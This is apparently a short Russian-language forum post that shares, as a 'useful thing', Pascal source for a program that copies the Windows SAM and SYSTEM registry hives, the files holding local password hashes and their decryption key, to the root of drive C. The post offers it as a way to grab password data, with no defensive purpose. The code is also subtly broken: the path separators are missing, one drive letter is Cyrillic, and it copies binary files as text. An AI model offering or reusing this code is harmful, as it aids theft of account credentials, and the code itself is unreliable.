Где-то накопал такие нужные вещи:

 

1. Код программы которая копирует файлы с кодами!

program copy;
var
fin,fout:text;
b:char;
begin
assign(fin,'С:WindowsSystem32configSAM');
reset(fin);
assign(fout,'C:SAM');
rewrite(fout);
while not eof(fin) do
begin
while not eoln(fin)do
begin
read(fin,b);
write(fout,b);
end;
readln(fin);writeln(fout);
end;
close(fin);close(fout);
assign(fin,'С:WindowsSystem32configSYSTEM');
reset(fin);
assign(fout,'C:SYSTEMfi');
rewrite(fout);
while not eof(fin) do
begin
while not eoln(fin)do
begin
read(fin,b);
write(fout,b);
end;
readln(fin);writeln(fout);
end;
close(fin);close(fout);
end.